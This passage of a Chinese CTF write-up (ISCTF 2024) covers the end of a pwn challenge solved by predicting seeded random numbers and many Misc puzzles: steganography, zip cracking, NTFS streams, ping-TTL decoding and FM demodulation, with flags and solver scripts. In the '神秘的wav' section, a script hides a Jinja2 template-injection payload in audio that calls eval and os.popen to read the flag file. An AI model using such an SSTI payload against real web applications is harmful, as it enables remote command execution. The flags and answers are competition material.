to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;拿到附件后把elf拖ida里看&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731664148129-f91f2371-cd49-49b0-86e9-80b70bdd967d.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;这道题虽然说gets可以作为一个利用点，但我发现seed已经被置为1了，所以说我们直接写调用算出这2w个伪随机数&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731664426794-3ec1fdc3-c3d3-4bac-add5-02dfe665438c.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;由于前面有个alarm，要在15秒内把这两万个随机数发完，一开始想的是否能覆盖i的值，后面发现for循环运行时先会把i置0，作为pwn低手没有别的办法，后面想了个招：&lt;/p&gt;&#xA;&lt;p&gt;一次性把两万个随机数生成，然后用\n拼接后直接发过去，没想到还真可以&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731664675904-63f88b1e-94a1-47d2-b5be-326711ea8cad.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;最后直接进入getshell函数，ls + cat flag。&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/1731664692824-06a8869f-2a84-47c0-b36d-0f9450ad214b.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;三misc&#34;&gt;三、Misc&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e4%b8%89misc&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h4 id=&#34;问卷&#34;&gt;问卷&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e9%97%ae%e5%8d%b7&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;。。。&lt;/p&gt;&#xA;&lt;h4 id=&#34;小蓝鲨的签到02&#34;&gt;小蓝鲨的签到02&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%b0%8f%e8%93%9d%e9%b2%a8%e7%9a%84%e7%ad%be%e5%88%b002&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;010打开 文件尾即Flag&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115171647528.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;CTF{blueshark!_@#2024$%^&amp;amp;*}&lt;/p&gt;&#xA;&lt;h4 id=&#34;数字迷雾在像素中寻找线索&#34;&gt;数字迷雾：在像素中寻找线索&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%95%b0%e5%ad%97%e8%bf%b7%e9%9b%be%e5%9c%a8%e5%83%8f%e7%b4%a0%e4%b8%ad%e5%af%bb%e6%89%be%e7%ba%bf%e7%b4%a2&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115171747955.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;stegsolve隐写 ISCTF{+9qn1DKdun!gl}&lt;/p&gt;&#xA;&lt;h4 id=&#34;游园地1&#34;&gt;游园地1&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%b8%b8%e5%9b%ad%e5%9c%b01&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/findme.jpg&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;百度识图找到&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115172025612.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115172031557.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;武汉中山公园&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ISCTF{湖北省_武汉市_江汉区_中山公园}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;游园地2&#34;&gt;游园地2&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%b8%b8%e5%9b%ad%e5%9c%b02&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/findme-1731684555075-154.jpg&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;图片能看到的 山崎居酒屋 库迪咖啡 小红书搜一下山崎居酒屋&lt;/p&gt;&#xA;&lt;p&gt;再根据店面对比一下 找到&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115172257797.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;圣地巡礼地图找到&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115172456695.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ISCTF{湖北省_武汉市_江汉区_鸣笛1988商业街_恋爱绮谭}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;小蓝鲨的签到01&#34;&gt;小蓝鲨的签到01&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%b0%8f%e8%93%9d%e9%b2%a8%e7%9a%84%e7%ad%be%e5%88%b001&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115172554713.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;拼起来关注微信公众号即可&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ISCTF{Welcome_to_blueshark}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;少女的秘密花园&#34;&gt;少女的秘密花园&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%b0%91%e5%a5%b3%e7%9a%84%e7%a7%98%e5%af%86%e8%8a%b1%e5%9b%ad&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115172804948.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115172909951.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;文件尾后有压缩包数据 提出来base_misc.zip加密的&lt;/p&gt;&#xA;&lt;p&gt;爆破一下密码&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115173018335.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;040714&lt;/p&gt;&#xA;&lt;p&gt;解压出flag.txt base64解码得到一张图片&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115173109158.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现图片不完整 宽高修复&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115173119700.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/braille-alphabet-code-system-numbers-blind-latin-222161872.jpg&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;对照盲文解密即可 红色的图像是数字&lt;/p&gt;&#xA;&lt;h4 id=&#34;赢rar&#34;&gt;赢!rar&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e8%b5%a2rar&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;给出了压缩包密码 解压 没发现什么信息&lt;/p&gt;&#xA;&lt;p&gt;分析一下压缩包&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115173504591.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;发现有一段NTFS数据流&lt;/p&gt;&#xA;&lt;p&gt;ntfsstreamseditor扫一下&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115173536456.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;KGJB1J2NvEaJVR3xHNZFdMKsV6G2VTE++&lt;/p&gt;&#xA;&lt;p&gt;XXencode解码 -&amp;gt; ISCTF{Beat_SfTian!!!!}&lt;/p&gt;&#xA;&lt;h4 id=&#34;老八奇怪自拍照&#34;&gt;老八奇怪自拍照&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e8%80%81%e5%85%ab%e5%a5%87%e6%80%aa%e8%87%aa%e6%8b%8d%e7%85%a7&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115173637956.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;颜色不太对劲 stegsolve看一看&lt;/p&gt;&#xA;&lt;p&gt;发现 R5 G2 B1的图像有问题&lt;/p&gt;&#xA;&lt;p&gt;提出来数据 是一个压缩包&lt;img src=&#34;upload/image-20241115173735996.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;提示压缩包损坏 删掉多余数据后解压出图片&lt;/p&gt;&#xA;&lt;p&gt;查看属性 &lt;img src=&#34;upload/image-20241115173828092.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;1ScTf2024! 推测是解密的key&lt;/p&gt;&#xA;&lt;p&gt;stegdetect看一下 是steghide&lt;/p&gt;&#xA;&lt;p&gt;解密&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115174320694.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h4 id=&#34;file_format&#34;&gt;File_Format&lt;a class=&#34;heading-anchor&#34; href=&#34;#file_format&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;Win自解压程序 爆破密码&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115174401426.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ISCTF{WinACE_is_Easy_Subject_0v0}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;watermark&#34;&gt;watermark&lt;a class=&#34;heading-anchor&#34; href=&#34;#watermark&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;key2.png为单盲水印&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115174541942.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;key2：64oRvUfta9yJsBv&lt;/p&gt;&#xA;&lt;p&gt;key1.txt为文字盲水印&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115174626216.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;key1：FAAqDPjpgKJiB6m&lt;/p&gt;&#xA;&lt;p&gt;key：FAAqDPjpgKJiB6m64oRvUfta9yJsBv 解密压缩包&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115174812423.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ISCTF{Watermark_is_used_2_protect%digital*assets}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;秘密&#34;&gt;秘密&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e7%a7%98%e5%af%86&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;zip伪加密先修复了 提取出jpg&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115174906792.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;文件名猜测OurSecret隐写&lt;/p&gt;&#xA;&lt;p&gt;010看数据&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115175022052.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115175130424.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115175141791.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;0宽&lt;img src=&#34;upload/image-20241115175228900.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ISCTF{Nic3_t0_m33t_you}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;奇怪的txt&#34;&gt;奇怪的txt&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%a5%87%e6%80%aa%e7%9a%84txt&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;约瑟夫环问题 编写exp代码&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import base64&#xA;&#xA;def josephus_circle(num_files, step):&#xA;    files = list(range(1, num_files + 1))  # 文件编号从1到137&#xA;    result = []  # 用于存放挑选的文件编号&#xA;    index = 0  # 起始位置&#xA;&#xA;    # 进行约瑟夫环的数数与挑选过程&#xA;    while files:&#xA;        index = (index + step - 1) % len(files)  # 计算挑选的位置&#xA;        result.append(files.pop(index))  # 将文件编号加入结果并从列表中移除&#xA;&#xA;    return result&#xA;&#xA;# 调用约瑟夫环函数得到文件顺序&#xA;selected_files = josephus_circle(137, 7)&#xA;&#xA;# 创建输出文件&#xA;with open(&amp;quot;flag.txt&amp;quot;, &amp;quot;w&amp;quot;, encoding=&amp;quot;utf-8&amp;quot;) as output_file:&#xA;    for file_number in selected_files:&#xA;        file_name = f&amp;quot;txt/{file_number}.txt&amp;quot;&#xA;        try:&#xA;            # 读取每个文件的内容&#xA;            with open(file_name, &amp;quot;r&amp;quot;, encoding=&amp;quot;utf-8&amp;quot;) as f:&#xA;                content = f.read().replace(&amp;quot; &amp;quot;, &amp;quot;&amp;quot;) &#xA;                content = &amp;quot;\n&amp;quot;.join([line for line in content.splitlines() if line])  # 删除所有空行&#xA;                # 写入到输出文件中&#xA;                output_file.write(content + &amp;quot;\n&amp;quot;)&#xA;        except FileNotFoundError:&#xA;            print(f&amp;quot;Warning: {file_name} not found and will be skipped.&amp;quot;)&#xA;def recursive_base64_decode(encoded_content):&#xA;    try:&#xA;        # 尝试解码&#xA;        decoded_content = base64.b64decode(encoded_content)&#xA;&#xA;        # 将解码后的内容转换为字符串&#xA;        decoded_str = decoded_content.decode(&#39;utf-8&#39;)&#xA;&#xA;        # 递归解码&#xA;        if &amp;quot;==&amp;quot; in decoded_str or len(decoded_str) % 4 == 0:&#xA;            return recursive_base64_decode(decoded_str)&#xA;        else:&#xA;            return decoded_content&#xA;&#xA;    except Exception as e:&#xA;        return decoded_content&#xA;&#xA;with open(&#39;flag.txt&#39;, &#39;r&#39;) as file:&#xA;    encoded_content = file.read()&#xA;&#xA;# 递归解码&#xA;decoded_content = recursive_base64_decode(encoded_content)&#xA;&#xA;print(&amp;quot;FLAG:&amp;quot;, decoded_content.decode(&#39;utf-8&#39;))&#xA;&#xA;FLAG: ISCTF{@!98sw-&amp;amp;^si92-2$#334-2024!!}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;神秘ping&#34;&gt;神秘ping&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e7%a5%9e%e7%a7%98ping&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;下载文件 发现是倒序 正过来&lt;/p&gt;&#xA;&lt;p&gt;因为题目是ping 筛选出来ping的信息 能用来传递数据的似乎也就只有ttl了 提取一下&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115175912888.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;重新编码一下&lt;/p&gt;&#xA;&lt;p&gt;63 -&amp;gt; 00 127 -&amp;gt; 01 191 -&amp;gt; 10 255 -&amp;gt; 11&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115180053827.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ISCTF{h1De_1n_TtL}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;像素圣战&#34;&gt;像素圣战&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%83%8f%e7%b4%a0%e5%9c%a3%e6%88%98&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;PixelJihad解密 密码为ISCTF（题目描述）&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115220253177.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;题目描述：旋转&lt;/p&gt;&#xA;&lt;p&gt;给他倒序一下 再转ASCII&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ISCTF{R3verse6_b1n4ry_l0l}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;starry-sky&#34;&gt;starry sky&lt;a class=&#34;heading-anchor&#34; href=&#34;#starry-sky&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;&lt;a href=&#34;mailto:st@rrysky.png&#34;&gt;st@rrysky.png&lt;/a&gt; 打开发现是base64数据 解密得到图片&lt;/p&gt;&#xA;&lt;p&gt;查看图片文件尾 XORKEY:FF&lt;/p&gt;&#xA;&lt;p&gt;对xor文件进行xor运算，key为FF 得到xor.wav文件&lt;/p&gt;&#xA;&lt;p&gt;使用MMSSTV进行数据转换 得到DESKEY&lt;img src=&#34;upload/image-20241115215155900.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;YanHuoLG&lt;/p&gt;&#xA;&lt;p&gt;对flag.txt进行des解密即可&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115220546464.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ISCTF{Y0u_@r3_1ooking_@_st@rry_sky!}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h4 id=&#34;神秘的wav&#34;&gt;神秘的wav&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e7%a5%9e%e7%a7%98%e7%9a%84wav&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;exp代码&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import wave&#xA;import numpy as np&#xA;import os&#xA;&#xA;# 创建一个静音音频文件&#xA;def create_silent_wav(file_name, duration_seconds, sample_rate=44100, bit_depth=16):&#xA;    num_samples = duration_seconds * sample_rate&#xA;&#xA;    # 根据位深度选择数据类型&#xA;    if bit_depth == 16:&#xA;        max_amplitude = 32767  # 16-bit PCM的最大振幅&#xA;        dtype = np.int16&#xA;    elif bit_depth == 8:&#xA;        max_amplitude = 127  # 8-bit PCM的最大振幅&#xA;        dtype = np.int8&#xA;    else:&#xA;        raise ValueError(&amp;quot;Unsupported bit depth&amp;quot;)&#xA;&#xA;    # 创建一个全为0的音频数据，表示静音&#xA;    samples = np.zeros(num_samples, dtype=dtype)&#xA;&#xA;    # 创建.wav文件&#xA;    with wave.open(file_name, &#39;wb&#39;) as wav_file:&#xA;        wav_file.setnchannels(1)  # 单声道&#xA;        wav_file.setsampwidth(bit_depth // 8)  # 每个样本的字节数&#xA;        wav_file.setframerate(sample_rate)  # 采样率&#xA;        wav_file.writeframes(samples.tobytes())  # 写入静音数据&#xA;&#xA;    print(f&amp;quot;{file_name} created successfully!&amp;quot;)&#xA;&#xA;# 将文本嵌入到音频文件的第二最低有效位&#xA;def embed_message(audio_file, message, output_file):&#xA;    with wave.open(audio_file, &#39;rb&#39;) as wav:&#xA;        frames = wav.readframes(wav.getnframes())&#xA;&#xA;    frames_array = bytearray(frames)&#xA;&#xA;    # 将消息转换为二进制&#xA;    message_bits = &#39;&#39;.join(format(ord(c), &#39;08b&#39;) for c in message)&#xA;    message_bits += &#39;00000000&#39;  # 结束符，用00结束&#xA;&#xA;    if len(message_bits) &amp;gt; len(frames_array):&#xA;        raise ValueError(&amp;quot;Message is too large to fit in the audio file.&amp;quot;)&#xA;&#xA;    # 嵌入消息到第二最低有效位&#xA;    for i in range(len(message_bits)):&#xA;        frames_array[i] &amp;amp;= 0b11111101  # 清除第二最低有效位&#xA;        frames_array[i] |= (int(message_bits[i]) &amp;lt;&amp;lt; 1)  # 将消息位嵌入第二最低有效位&#xA;&#xA;    # 保存修改后的音频文件&#xA;    with wave.open(output_file, &#39;wb&#39;) as wav_out:&#xA;        wav_out.setnchannels(1)  # 单声道&#xA;        wav_out.setsampwidth(2)  # 16-bit深度&#xA;        wav_out.setframerate(44100)  # 采样率&#xA;        wav_out.writeframes(frames_array)&#xA;&#xA;    print(f&amp;quot;Message embedded successfully into {output_file}&amp;quot;)&#xA;&#xA;def ext(inp):&#xA;    with wave.open(inp, &#39;rb&#39;) as wav:&#xA;        frames = wav.readframes(wav.getnframes())&#xA;    frames_array = bytearray(frames)&#xA;    message_bits = [str((frames_array[i] &amp;amp; 2) &amp;gt;&amp;gt; 1) for i in range(len(frames_array))]&#xA;    message = &#39;&#39;&#xA;    for i in range(0, len(message_bits), 8):&#xA;        byte = message_bits[i:i+8]&#xA;        char = chr(int(&#39;&#39;.join(byte), 2))&#xA;        if char == &#39;\x00&#39;:&#xA;            break&#xA;        message += char&#xA;    return message&#xA;&#xA;# 测试流程&#xA;def test():&#xA;    # 生成静音音频文件&#xA;    create_silent_wav(&#39;silent_audio.wav&#39;, duration_seconds=5, sample_rate=44100, bit_depth=16)&#xA;&#xA;    # 要隐藏的文本消息&#xA;    message = &amp;quot;{{[].__class__.__base__.__subclasses__()[137].__init__.__globals__.__builtins__[&#39;eval&#39;](\&amp;quot;__import__(&#39;os&#39;).popen(\&#39;cd ../../../../../ &amp;amp;&amp;amp; cat flag\&#39;).read()\&amp;quot;)}}&amp;quot;&#xA;&#xA;    # 嵌入文本到音频文件&#xA;    embed_message(&#39;silent_audio.wav&#39;, message, &#39;output_with_message.wav&#39;)&#xA;&#xA;    # 从修改后的音频文件中提取消息&#xA;    extracted_message = ext(&#39;output_with_message.wav&#39;)&#xA;    print(f&amp;quot;Extracted Message: {extracted_message}&amp;quot;)&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    test()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;原理是网站对音频中的数据进行提取后渲染出来 构造一个payload使其执行即可&lt;/p&gt;&#xA;&lt;h4 id=&#34;来自天外的信息&#34;&gt;来自天外的信息&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%9d%a5%e8%87%aa%e5%a4%a9%e5%a4%96%e7%9a%84%e4%bf%a1%e6%81%af&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;根据文件名，对文件进行解调&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import numpy as np&#xA;import matplotlib.pyplot as plt&#xA;from scipy.signal import decimate&#xA;from scipy.io.wavfile import write&#xA;&#xA;file_path = &#39;fm-complex64-sample_rate-320khz-dec_ratio-20_1&#39;&#xA;data = np.fromfile(file_path, dtype=np.complex64)&#xA;&#xA;decimation_factor = 20  # 320 kHz / 20 = 16 kHz (音频采样率)&#xA;data_dec = decimate(data, decimation_factor)&#xA;&#xA;angle_diff = np.angle(data_dec[1:] * np.conj(data_dec[:-1]))&#xA;&#xA;audio_data = np.int16((angle_diff / np.max(np.abs(angle_diff))) * 32767)&#xA;&#xA;output_path = &#39;fm_demodulated_audio.wav&#39;&#xA;sample_rate = 16000&#xA;write(output_path, sample_rate, audio_data)&#xA;&#xA;print(f&amp;quot;解调后的音频已保存为: {output_path}&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;对解调后的音频进行MMSSTV转换&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/image-20241115215458505.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;将四部分图片和space后的二维码定位角抠出来拼一下&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/qr_code.png&#34; alt=&#34;&#34; title=&#34;null&#34;&#xA;  loading=&#34;lazy&#34; 